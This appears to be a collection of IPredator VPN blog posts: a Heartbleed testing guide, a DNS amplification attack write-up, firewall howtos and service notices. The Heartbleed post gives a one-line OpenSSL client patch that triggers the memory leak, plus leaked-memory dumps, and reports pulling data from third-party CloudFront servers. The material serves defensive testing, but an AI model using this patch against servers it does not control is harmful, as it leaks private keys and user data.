How to test if your OpenSSL heartbleeds


yesterday the OpenSSL team released a new version of OpenSSL to address a serious security issue that might leak sensitive data to anyone who is able to connect to your SSL services (if you are running OpenSSL version 1.0.1). The website has a nice writeup of the consequences this bug might have. If you are looking for more technical in-depth content check out this blog post or this archive message for the original commit of the OpenSSL code in question.

Patching OpenSSL

While patches for most distributions are already out, we found no instructions on how to test that the fixes are working once you have them installed. Of course you did restart your services after you installed the patches right?

The easiest way to test for the vulnerability is to use the OpenSSL command line client. It has all the functionality needed already build-in so adapting it to our needs is quite simple. Grab a copy of the previous OpenSSL version for example 1.0.1f.

Looking at the code in question we can see that the function tls1_heartbeat(SSL *s) is the one we are looking for. The heartbeat message constructed by OpenSSL looks as follows (comment taken from the OpenSSL code that is not our typo in the comment :)):

/* Create HeartBeat message, we just use a sequence number
 * as payload to distuingish different messages and add   
 * some random stuff.
 *  - Message Type, 1 byte
 *  - Payload Length, 2 bytes (unsigned int)
 *  - Payload, the sequence number (2 bytes uint)
 *  - Payload, random bytes (16 bytes uint)
 *  - Padding

In order to trigger the bug we simply need to adjust the payload length to a bigger size. OpenSSL will happily comply and return some "memory junk" for us on systems that are not yet patched. The following one liner is all that needs to be changed to trigger the bug:

--- ssl/t1_lib.c.orig   2014-01-06 13:47:42.000000000 +0000
+++ ssl/t1_lib.c    2014-04-08 03:19:59.244054532 +0000
@@ -2669,5 +2669,6 @@
    *p++ = TLS1_HB_REQUEST;
    /* Payload length (18 bytes here) */
-   s2n(payload, p);
+   /* Feel free to bump up the size ... */
+   s2n(1337, p);
    /* Sequence number */
    s2n(s->tlsext_hb_seq, p);

Once that is done all you need to do is to compile your special version of OpenSSL. If you are unsure on how to compile OpenSSL on your own, simply stuff the patch into whatever package management your distribution/Operating System of choice is using.


Equipped with your custom OpenSSL client binary and a non-patched version you can test for the existence of the bug as follows. Start the OpenSSL client with the arguments listed below and once the connection to the remote machine was established press B. This will initiate a heartbeat to the remote SSL server.

Testing a fixed host with non-patched OpenSSL client

$ /usr/local/bin/openssl s_client -connect -tlsextdebug -debug -state

Enter B

write to 0x801c17160 [0x801cbc003] (66 bytes => 66 (0x42))
0000 - 18 03 03 00 3d 8f 6f 3c-52 11 83 20 9c a2 c0 49   ....=.o 5 (0x5))
0000 - 18 03 03 00 3d                                    ....=
read from 0x801c17160 [0x801cb7008] (61 bytes => 61 (0x3D))
0000 - 05 4d f5 c0 db 96 d1 f5-c7 07 e5 17 1f 3b 48 34   .M...........;H4
0010 - 6e 11 9d ba 10 0c 3a 34-eb 7b a5 7c c4 b6 c0 c0   n.....:4.{.|....
0020 - b0 75 0e fe b7 fa 9e 04-e9 4e 4a 7d 51 d3 11 1f   .u.......NJ}Q...
0030 - e2 23 16 77 cb a6 e1 8e-77 84 2b f8 7f            .#.w....w.+..
read R BLOCK

You will get a heartbeat response that looks similar to this one.

Testing a fixed host with the patched OpenSSL client

$ /opt/openssl/bin/openssl s_client -connect -tlsextdebug -debug -state

Enter B

write to 0x801818160 [0x8019d5803] (101 bytes => 101 (0x65))
0000 - 18 03 03 00 60 9c a3 1e-fc 3b 3f 1f 0e 3a fe 4c   ....`....;?..:.L
0010 - a9 33 08 cc 3d 43 54 75-44 7d 2c 7b f3 47 b9 56   .3..=CTuD},{.G.V
0020 - 89 37 c1 43 1c 80 7b 87-66 ff cb 55 5f 8d 1a 95   .7.C..{.f..U_...
0030 - 1b 4c 65 14 21 a1 95 ac-7a 70 79 fc cc a0 cf 51   .Le.!...zpy....Q
0040 - 0f 7e c5 56 14 c8 37 c1-40 0b b8 cb 43 96 8a e6   .~.V..7.@...C...
0050 - 21 42 64 58 62 15 fb 51-82 e6 7f ef 21 1b 6f 87   !BdXb..Q....!.o.
0060 - b9 c2 04 c8 47                                    ....G

The system does not respond to the heartbeat query anymore. OpenSSL can respond and terminate the session too. The behavior seems differ a bit between hosts.

Testing a vulnerable host with the patched OpenSSL client

So there are still quite a few targets to test out there. The SSL test from SSLLabs is a good resource. We did not spend a lot of time on looking for a suitable candidate. Of course we checked as well. Interestingly they are not using a valid certificate at all and to our surprise we could still pull data from some of cloudfront machines. The SSL config on the cloudfront machines is also not quite state of the art ... no PFS at all and RC4 all over the place. Details here. You can find dumps of the OpenSSL test here short version, long version.

$ /opt/openssl/bin/openssl s_client -connect -tlsextdebug -debug -state

Enter B

write to 0x801818160 [0x8019d5803] (58 bytes => 58 (0x3A))
0000 - 18 03 03 00 35 e1 79 2f-3e 25 85 88 4d d7 c8 d3   ....5.y/>%..M...
0010 - 82 6b f9 20 b3 bd 72 3c-1a 18 c6 16 ed 51 05 c7   .k. ..r<.....Q..
0020 - 52 95 f4 2d af 88 4e df-e9 30 76 d6 67 1c 8f 2d   R..-..N..0v.g..-
0030 - 3f 81 07 39 ee 4d c4 29-38 b5                     ?..9.M.)8.
read from 0x801818160 [0x8019d1003] (5 bytes => 5 (0x5))
0000 - 18 03 03 05 5c                                    ....\
read from 0x801818160 [0x8019d1008] (1372 bytes => 1372 (0x55C))
0000 - ee 21 a3 bf 5d 5e 9f e1-43 6f ff 7f 08 d4 e8 21   .!..]^..Co.....!
0010 - 55 f8 c5 a6 41 3a 1a ea-58 5d 2f 3a 81 36 6d 15   U...A:..X]/:.6m.
0020 - 91 36 49 6d e9 77 2b 41-39 2f 65 f0 91 5c 90 db   .6Im.w+A9/e..\..
0030 - 80 8e 78 b6 50 f8 8e 48-fc ea 8a 44 8e 8b e0 77   ..x.P..H...D...w
0040 - a7 1f 1d f1 cb 67 09 d3-ef 15 8f 75 f1 dd a6 b4   .....g.....u....
0050 - 4a 26 ec b9 66 b4 32 56-b5 59 a0 6a e9 67 d4 c6   J&..f.2V.Y.j.g..
0060 - 00 f1 54 1d 05 ad a9 05-e8 ac ae 6c bf 2f c5 d6   ..T........l./..
0070 - 6c 1a 56 9e 93 35 b1 d6-f2 bd d8 29 f1 77 64 28   l.V..5.....).wd(
0080 - e6 b5 e3 96 77 7d 55 d1-44 51 91 44 35 c9 3e 47   ....w}U.DQ.D5.>G
0090 - 86 0a 11 48 c9 5b 27 25-37 9d be 52 75 30 b2 f8   ...H.['%7..Ru0..
00a0 - 5f 89 5c 5a 92 13 8d 1b-90 34 1c 83 db e5 83 39   _.\Z.....4.....9
00b0 - b6 62 32 32 59 88 bf 1b-13 7e 42 70 59 fa 12 cb   .b22Y....~BpY...
00c0 - a0 cb 20 53 c3 d9 f7 8e-f8 eb c7 09 8d c9 ed b6   .. S............
00d0 - 95 da 73 68 fe 2d 86 21-f1 07 31 56 33 b2 3b 9c!..1V3.;.
00e0 - 18 15 33 07 5b 6b 4f 53-4d 58 1d a6 bd 88 28 14   ..3.[kOSMX....(.
00f0 - 29 9a 25 83 49 15 ea 4d-79 81 f7 60 ec 86 20 d4   ).%.I..My..`.. .
0100 - 44 31 7b 14 70 f1 c2 58-68 3e a6 35 76 da 1d f9   D1{.p..Xh>.5v...
0110 - 26 9b 79 2f ad 34 82 31-8f 7b 45 1a 4d e1 67 6c   &.y/.4.1.{
0120 - 39 9d ef 39 58 9f e5 c1-70 02 c9 5d 04 ee 89 48   9..9X...p..]...H
0130 - 25 39 c7 29 11 d0 b6 a9-f0 82 c5 8e 87 5d ef c1   %9.).........]..
0140 - a1 5a 67 d4 dc b5 04 f8-e0 65 be 9f 10 81 dd 6e   .Zg......e.....n
0150 - 43 4e 2c dc 44 64 f2 22-63 6d 0d 12 09 31 fb 38   CN,.Dd."cm...1.8
0160 - f5 22 21 68 6e 8a 5f 0e-50 4f 64 44 a9 2f 7e d9   ."!hn._.POdD./~.
0170 - 41 df f9 40 69 a4 ae 97-0e 68 41 79 44 45 a5 13   A..@i....hAyDE..
0180 - b9 21 ad ce c9 89 6c 3e-6d d7 6c b8 ef 2c b3 24   .!....l>m.l..,.$
0190 - a2 3b 8b 55 db 06 24 a1-06 80 cc 1b 48 61 53 73   .;.U..$.....HaSs
01a0 - 8f fc bb 43 c7 01 9e 3b-ba 91 d4 a2 24 37 4e 6d   ...C...;....$7Nm
01b0 - 05 cd a1 34 76 58 91 8f-1e 3b 85 7f 34 a3 a1 04   ...4vX...;..4...
01c0 - 9d 06 2d aa c5 f2 09 98-de ea 56 12 b5 5e 51 7f   ..-.......V..^Q.
01d0 - 30 df 47 22 c6 20 82 0c-a8 bf 37 67 f2 be f0 32   0.G". ....7g...2
01e0 - 28 39 34 f6 49 e5 ab 43-6e 60 6a 05 48 94 ca c8   (94.I..Cn`j.H...
01f0 - 4b 47 8f fe 10 57 13 75-60 83 f1 25 5c 70 ed c6   KG...W.u`..%\p..
0200 - 28 ef a8 95 65 46 6e b0-db 5e d7 70 7b e2 38 23   (...eFn..^.p{.8#
0210 - d8 e6 3a 07 7d d5 5a b9-3a 40 6c 74 e7 e0 c1 31   ..:.}.Z.:@lt...1
0220 - 34 ce 22 1f 2f 5e 30 b6-20 60 42 dc 12 9b 52 d4   4."./^0. `B...R.
0230 - b4 db d9 ad 7b b2 42 ae-d2 f6 0d dd 88 b0 b8 03   ....{.B.........
0240 - b8 7d c0 49 e6 8d 45 72-21 dc b9 0d dd 43 8e 1b   .}.I..Er!....C..
0250 - f5 75 74 1b 94 2a d5 50-ae cd 60 a5 7d 24 4b df   .ut..*.P..`.}$K.
0260 - 82 4d e8 3c c3 93 4b f6-cb f2 e8 13 ab f7 98 cf   .M.<..K.........
0270 - 1a a4 10 62 8e be 4a 04-52 f8 23 8d d4 11 68 0a   ...b..J.R.#...h.
0280 - 11 b8 79 93 43 91 00 3b-3b 65 3b f8 cd 12 9c f8   ..y.C..;;e;.....
0290 - 28 ed a3 e5 88 ee be 2d-df 5a ba bd a9 d2 93 4a   (......-.Z.....J
02a0 - cc 04 49 9d 42 ea 1c 82-be 66 4c 16 8d 6a 04 b9   ..I.B....fL..j..
02b0 - 37 04 e9 f5 0e b9 23 14-1c 44 c2 b8 f3 93 41 fd   7.....#..D....A.
02c0 - 66 df a4 ba ef 82 3b f8-6f bc 16 51 1c 3f 51 4c   f.....;.o..Q.?QL
02d0 - 0c 75 88 c5 fb 16 a2 76-d8 ab d8 83 c1 1b e1 60   .u.....v.......`
02e0 - 12 7a bf 32 ea fd 18 85-45 38 35 56 f9 01 12 1d   .z.2....E85V....
02f0 - 3d ac 48 42 d6 54 84 ea-51 36 55 1e 4e 87 13 4b   =.HB.T..Q6U.N..K
0300 - 85 cb c0 fb 89 a4 e9 2c-d8 76 04 52 f7 4b 8a 44   .......,.v.R.K.D
0310 - e9 ed 55 ba f9 9d 5f 3d-de 9e 08 ef ee 5c 0c cb   ..U..._=.....\..
0320 - 6f 81 db 67 40 78 9a 3c-db 15 3a 8a 48 3a 89 8a   o..g@x.<..:.H:..
0330 - f8 89 2a e2 96 77 09 22-b7 fc 5a 2a c7 52 f7 80   ..*..w."..Z*.R..
0340 - 40 3b 53 0c b7 3c 73 06-cb 54 8e 02 31 3e c4 2d   @;S...-
0350 - 9a 46 c9 bb 62 2a 71 16-8e 6d a2 bc 79 01 75 b6   .F..b*q..m..y.u.
0360 - f2 f2 1c b8 f1 05 e3 20-40 ae ff a4 30 c3 31 aa   ....... @...0.1.
0370 - 63 32 c7 16 32 76 19 7c-30 2a 51 8f 3c b6 5e 28   c2..2v.|0*Q.<.^(
0380 - 77 be 3f a4 96 81 af 5d-78 cf 40 a1 72 97 19 d5   w.?....]x.@.r...
0390 - d0 10 fe 8f 64 f0 dd 20-3c ac 57 a0 f8 68 5c b3   ....d.. <.W..h\.
03a0 - 73 d7 12 93 73 23 a6 9e-dd ba c8 72 25 d4 1c a9   s...s#.....r%...
03b0 - 28 8d 75 c7 8a 84 3f e0-d4 aa 03 de 0c 08 83 1e   (.u...?.........
03c0 - 51 a5 86 81 f7 3c f6 85-2e 2e f0 02 13 47 40 15   Q....<.......G@.
03d0 - 43 15 79 3d 9e 62 a4 f4-cc c0 d1 20 24 ea a2 7d   C.y=.b..... $..}
03e0 - f1 91 2d 65 1c e4 90 91-e5 fe 88 c0 01 70 3b b6   ..-e.........p;.
03f0 - 44 90 c9 a2 fa d5 94 5a-d4 18 4d 7c e0 57 b3 6b   D......Z..M|.W.k
0400 - 67 ea 75 a4 26 83 f5 12-54 40 0f 8c 55 9f 72 1f   g.u.&...T@..U.r.
0410 - 06 0a 05 56 9d 85 d5 98-dd fa b8 4d a1 ac b4 b1   ...V.......M....
0420 - 66 e7 25 2b 9e 28 8b f7-e6 9a cf 5c ac 81 cd e3   f.%+.(.....\....
0430 - e7 47 d5 25 cd 66 e4 c4-e4 48 90 11 84 af 86 8c   .G.%.f...H......
0440 - e6 c3 7f 61 e7 06 da e3-05 b9 18 5b f4 2d 3a c5   ...a.......[.-:.
0450 - e8 b5 83 be 6a 37 97 8f-05 0f a6 cf 47 56 fb dd   ....j7......GV..
0460 - 75 91 12 84 0b af c8 39-7d 8f be 6c 95 39 b2 f4   u......9}..l.9..
0470 - 53 50 38 4b 0a aa fa ae-44 fd b0 2e a0 02 65 c4   SP8K....D.....e.
0480 - c5 35 1b b1 e5 6b 25 ca-1b 07 db 77 ce 57 da 92   .5...k%....w.W..
0490 - 41 1a 8c 00 b7 27 f9 21-38 3c 22 e4 86 ee 0c 45   A....'.!8<"....E
04a0 - 0b af c6 d1 ee 6c 16 9b-d5 be 0e dd 1d 4b 04 95   .....l.......K..
04b0 - 93 9a 90 57 4f 5c ed 6b-17 2a ae 7e 6e f3 e5 a3   ...WO\.k.*.~n...
04c0 - 73 cb 81 d1 56 7a 31 54-2d 1a a7 8f 6a b3 1a 49   s...Vz1T-...j..I
04d0 - 4d 9c e6 89 af ea 74 9b-69 1d 07 01 ea 05 2c 6e   M.....t.i.....,n
04e0 - e2 bb 6c e4 bb d2 bf 8a-2f 8d a5 84 63 be 83 51   ..l...../...c..Q
04f0 - ff 70 fa ed c5 5b 39 92-29 8e a5 3e ef 95 fe 7e   .p...[9.)..>...~
0500 - 49 91 83 de 37 0b 3d 9b-ea 1b e5 27 a5 4c 81 57   I...7.=....'.L.W
0510 - 5f 7b 8a 5a 27 e2 da ca-ac 42 84 6c 55 94 60 98   _{.Z'....B.lU.`.
0520 - 78 62 b3 f4 be 57 02 c5-2b d8 0f 83 d7 2f 5f 16   xb...W..+..../_.
0530 - b0 83 10 5f 6a 83 e4 87-dd 43 59 c8 fd db 05 63   ..._j....CY....c
0540 - ca c3 c7 08 86 a4 1b 8f-7d b2 8d 86 8e 22 98 9b   ........}...."..
0550 - 0a 59 74 3d 24 9e 53 53-33 75 ba 7b               .Yt=$.SS3u.{
read R BLOCK

The IPredator team

Dear Users,

a lot of users request Howtos about securing their various Linux systems ranging from desktop machines to OpenVPN routers. Based on your questions we decided to concentrate on three common use cases: Desktop machine, Home router, and application firewalling for a BitTorrent client.

Instead of using iptables directly, we show you how to configure firewalls with ferm which makes maintaining iptables firewalls easier due to its very readable configuration file. The ferm configuration also supports syntactical constructs known from programming languages (e.g. variables or conditionals). We use these constructs together with udev to automate firewall updates when OpenVPN connects or disconnects to prevent systems to access the Internet without an underlying VPN connection.

The Linux firewall Howto covers the set up of a desktop firewall and is the basis for the home router and Transmission articles. The most important features of the basic firewall setup are:

  • The default configuration only allows to establish a VPN connection.
  • Full Internet access only once the VPN is active.
  • Automatic insertion of VPN related firewall rules based on interface add and remove actions controlled by udev.
  • Basic DNS leak protection.
  • Logging of dropped packets in PCAP format readable by tcpdump or Wireshark, which helps a lot when debugging firewall problems.

The Linux firewall Howto was written for use with Ubuntu Linux or Debian GNU/Linux systems, but with minor modifications (e.g. installing packages, directory layout) it should work equally well on other Linux distributions.

The article Restricting Transmission to the VPN interface on Ubuntu Linux deals with a common issue of limiting access to the Internet for a specific application. To achieve the intended behavior it is very important to make yourself familiar with the network interfaces and ports the restricted application needs to use. We picked out the Transmission BitTorrent client as an example application because it provides good control over network interface and port usage. The last chapter in this Howto shows how to tweak your desktop system for better BitTorrent performance.

The last of the three prepared articles is Configuring Debian GNU/Linux as an OpenVPN router which again extends the Linux firewall Howto in a scenario where you use a dedicated machine as a router at home. The router provides Internet access for a local network only if the VPN connection is active.

Have fun! Please send an email to you have comment or error corrections. Thank you.

The IPredator team

Saturday night DNS issues

Dear users,

Saturday night some of our DNS machines were unavailable due to an anycast issue. This affected the reachability of our service. We fixed the issue and our domains are up to date again.

A way to circumvent such a situation in the future is to set up alternative domains and make our service available through them. The alternative domains are and

We recommend to adapt your OpenVPN configuration file to use these alternative domains in addition to Should one domain be unreachable, OpenVPN tries to connect through the alternative ones.

In case you are using the OpenVPN command line, native or Tunnelblick client, edit the configuration file and make sure to use multiple remote lines:

remote 1194
remote 1194
remote 1194

If you are using Viscosity, open its Preferences, edit the IPredator connection and switch to the General tab. Enter multiple Remote Servers separated by commas in the appropriate text field, e.g.,,

The configuration files linked in the Guides are updated and reflect the above mentioned changes:

Mac OS XIPredator-MacOSX-Password.ovpn
Ubuntu LinuxIPredator-Windows-Password.opvn

We apologize for the inconvenience caused.

The IPredator team

New PGP key for

Dear users,

we revoked the current PGP key for and replaced it with a new 4096 bit key. Please update your public key either from the key servers or by downloading and importing it manually into your keychain.

Key ID759F27B2
FingerprintA4C7 F460 9436 EAC9 74CC 046B DD00 9DB6 759F 27B2
Public key filekey.txt

We encourage our users to always use encrypted email when contacting our support team, not only when asking payment or account related questions. The public key details are also outlined on our Contact page.

The IPredator team

OpenVPN on Android and iOS

Dear Users,

for a long time iOS users were stuck on using the inferior PPTP protocol to connect the IPredator VPN. Since the release of the latest OpenVPN Connect 1.0.2, this client finally supports authentication with a username and a password. We strongly recommend switching all iOS devices capable of running this client to OpenVPN and uninstall the PPTP profile completely. The new iOS OpenVPN Guide is available here.

Since the release of Ice Cream Sandwich (4.0) the Android Operating System allows to install VPN clients without rooting the device. Although the OpenVPN Connect client also is available for Android, there is a better and less restrictive alternative. The OpenVPN for Android client not only has nice technical features, e.g. switching between the UDP and TCP protocols, changing the connection port or adding custom routes, but also supports Reconnect on Reboot and stays active even if the screen is locked. The new Android OpenVPN Guide covers the setup of a solid base configuration.

The IPredator team


the VPN is back up after experiencing a service outage caused by a DNS amplification attack. The total bandwidth used was about 50Gbit and looked like it was targeting a specific user. Since attacks of that magnitude are becoming more and more frequent we decided to document a few things we picked up along the way in a blog post. If you are not into technical mumbo jumbo feel free to skip the rest of the text.


DOS attacks in general are not too uncommon when running a VPN, so we have a number of tools in place that help us to deal with them. The first thing you needs to find out for debugging is which type of attack you are facing. The easiest way is to simply install taps on your uplink infrastructure to be able to see what is going on there. This solution is not an option for us, instead we rely on the ability to see what is happening on the affected servers. It is more selective and less intrusive in respect to our users privacy.

We make sure that the machines are still responsive by having adaptive rate limits configured on the switch ports. Since we know how normal packet rates look like, we simply configure a threshold where the switch starts to drop packets before handing them to the actual server. In reality this works quite well and the packets you get still make sense to find out what is going on. For some servers we have a dedicated administrative interface that allows us to log into the machine when it is under attack. Since switch ports are expensive we do not do that for the VPN servers. There we rely on serial console access which is usually good enough.

A useful optimization we have enabled on our machines is to make sure that the primary service network interface is not tied to the boot CPU with its IRQs. This makes sure that your system stays somewhat usable if you get hit by a DOS that eats 100% of your CPU for IRQ handling.

Looking at the attack pattern we saw that the attacker asked for the A record of using a spoofed request pointing to some of our VPN IPs.

$ dig
;; Truncated, retrying in TCP mode.

; <<>> DiG 9.4.2-P2 <<>>
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10132
;; flags: qr rd ra; QUERY: 1, ANSWER: 241, AUTHORITY: 2, ADDITIONAL: 2

;               IN      A

;; ANSWER SECTION:        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A        21600   IN      A

;; AUTHORITY SECTION:        21600   IN      NS        21600   IN      NS

;; ADDITIONAL SECTION:    21600   IN      A    21600   IN      A

;; Query time: 23 msec
;; WHEN: Thu Nov 14 03:49:01 2013
;; MSG SIZE  rcvd: 3957

Quite long eh? In an ideal world every DNS server would ask you to upgrade to TCP when you (or someone else) ask for such a long record. Unfortunately this is not the case. Instead some machines connected to the Internet are open resolvers and also try to deliver that message via UDP. Now all an attacker needs to do is to inject spoofed requests (attacker sends an IP packet claiming to be the victim) into the Internet fabric asking for a specific long DNS entry. Luckily for the attacker he can choose from a subset of almost 33 Million open resolvers that will happily answer his spoofed request.

A spoofed request for a DNS record is usually quite small (less than 100 bytes). The reply on the other hand can be quite big, 3957 bytes in our case. If the available bandwidth for the attacker is moderately high enough -- 1GBit is a good ballpark figure here -- you can cause quite some havoc given an average ratio of 1:60. A more detailed explanation of DNS amplification can be found here. To see how those 33 Million hosts spread over the IPv4 Internet have a look at this nice heatmap.

The problem of DNS amplification attacks does not exist since yesterday, reflection attacks themselves have been around for ages. Still we -- we as in the Internet community -- have not been able to fix this particular problematic combination of DNS and spoofing. Looking at the latest statistics from we can actually see that the numbers of open resolvers are rising, which is not a good sign.


What to do in case of an attack

The available options could be generally categorized into:

  1. Disable the network by disconnecting it from the BGP fabric
  2. Move your network to an Anti-DDOS service
  3. Endure the attack and try to mitigate it

Option 1. is the fastest way to deal with the problem at the expense of not being reachable to anybody else anymore. You simply remove the affected network prefix from your uplink ISP lists and the attacker wont be able to route packets to you anymore. Of course this is a rather drastic measure, but it is not too uncommon that your uplink ISP will do that for you anyhow if the attack persists. The issue with DNS amplification in particular is that it can have noticeable effects (as in collateral damage) on the higher level infrastructure.

Given that these kinds of attacks have been around long enough, remain unfixed, and some of the mitigations for attacks of this magnitude are expensive or take a lot of time to implement (more on that later), specialized protection services emerged in the market over the last decade or so. You can opt-in to move your network to somebody who deals with that on a daily basis., and voxility are some of the usual suspects when it comes to this kind of service. Those services usually deaggregate the inbound flood using anycast and DPI systems to filter unwanted traffic. Of course this is no option for us -- we certainly will not hand our users traffic to a 3rd party that is located all around the world in all kinds of jurisdictions.

This leaves option number 3. There are a number of things that can be done to reduce the strain of the attack. Some work better than others, some require upfront planning, or money.


Disconnect source name server

From the request above we learned that the domain in question is served by and that the A record has a lifetime of 21600 seconds. Now the nice way is to send an abuse request to the ISP of who is AS29073 Ecatel LTD in that case. The downside is that it might take some time for them to respond. The not so nice way is to suppress the requests from the open resolvers by "disconnecting" the source of the domain from the Internet. After 21600 seconds + whatever caching time is configured on the open resolvers it wont be possible to resolve the DNS record anymore. This will cause the open resolvers to send you failure notices which are not as big as the actual response but still pack a good punch in numbers of small packets. There are a number of downsides with the not so nice way. Collateral damage caused by this action, for example the host in question might be a shared machine. Or you might inadvertently disconnect AS29073 because their uplinks are not very fast and it is just too much traffic entering their network. Furthermore nothing prevents the attacker to switch to a different domain on the fly. Domains are common enough to have plenty of them hosted all over the world. The cat and mouse game of "you annoy us and we annoy you" will be boring pretty fast. Not to mention that the widespread deployment of DNSSEC will deliver DNS records of impressive size for free in the near future, making blocking of the source domain even harder. Keep in mind that the simplicity of the attack allows it to be scaled up easily. It wont help you to incur the wrath of your ISP because he got disconnected by his ISP.

Network upgrades

The next option while expensive is to upgrade the network. While this will not fully mitigate the attack of any size it makes the network more resilient for the smaller ones that happen on a day to day basis. 40G Ethernet equipment is around the corner to be affordable by the lower tier ISPs to bolster their uplinks against such attacks. Of course it might still cost you a dime or two when you decide to accept the traffic at your border.

BGP network prefix management

If the network is multihomed simply choose the provider you know best, and whose infrastructure can handle it to only announce your prefixes there. Make sure you have some beer or other bribes at hand when doing this at night without talking to them first! The network quality will still be shitty (but not fully disconnected) and the whole traffic will enter using the same ISP but it is cheaper on your end for the time being and puts less constraint on the network equipment. Handling 10Gbit incoming junk versus 40Gbit in our case.

If you know you are going to eat DDOS attacks every now and then you can plan ahead and split your network space into smaller chunks. While all the BGP engineers will scream at you because this will eat even more of their precious TCAM memory on their Ciscos, it will allow you to keep parts of the overall network alive and connected if only specific IPs are targeted.

Fixing the DNS server software

Obviously we are not the first people being hit by DNS amplification and others have recognized the problem as well. So far the problem has been proven to be very persistent and remains unfixed. Unlike the other problem classes that we usually deal, like security bugs, to fix this problem we need to change various software components. The changes need to be pushed upstream to the software vendors as well as downstream to the package maintainers of the various Operating System distributions. This is quite a challenging task especially because the changes need to be as easy as possible to be able to push it downstream to all the users running old installations. New features usually only enter the upstream software repositories and it may take years until the majority of machines has them.

We the Internet community should try to push into that direction by "bribing" the responsible people. If it works for Truecrypt and security bugs by handing out bounties shouldn't we try something similar for this problem as well? While the IETF is the correct instance to fix the DNS protocol they are (naturally) slow and adoption takes time.

Maybe the project can shed some light on which DNS software versions are used. In any way a structured and coordinated effort to deal with the issue is needed if we do not want to end up with being vulnerable to this particular kind of attack when the next generation of high speed networks come online. Is it a viable goal to patch software so that "If open resolver == true then switch to TCP mode by default by returning truncation needed message"? How about adding some preference to our resolver libs? For example "nameserver tcp: [persistent]" to enable adoption of the new scheme? Some resolvers already come with rate limits of some degree but it is not a well defined feature ... DNS caches were designed to be fast and so they are.


As you can see there are not many options to get rid of an ongoing DNS amplification attack. Considering the complexity malware (including the state sponsored one) has reached we can safely assume that there are entities that wield more than 10Gbit injection capabilities. If the attack scales, while maintaining the ratio properties, this could add up to about 600Gbit. Due to its nature it is pretty difficult for any ISP, not wielding the power of the NSA, to find out who is responsible for DNS amplification attacks. A true weapon of internet mass destruction.

Dear users,

the VPN service is currently offline. Unfortunately, a flood of spoofed DNS replies maxed out all of our uplink capacity. Our ISP has disconnected the VPN network range for the time being. We will use the time to do some of the maintenance work that usually requires a downtime.

Once things change we will update you.

The IPredator team

Dear users,

we are currently moving the backend infrastructure to a new hardware platform. You wont be able to log into your VPN account for the next 60 minutes. More updates follow.

UPDATE 2013/10/11 04:36: Maintenance finished. All systems are online again.

The IPredator team

PayPal currently unavailable

Dear users,

paying via PayPal seems to be broken at the moment. We have informed PayPal about the issue and they are looking into it.

UPDATE 13/10/07:: The issue seems to be fixed. Please let us know if you still have problems.

The IPredator team

Dear users,

it has been some time since our last sign of life. We had some pretty busy days catching up with the backlog after the OHM2013 event.


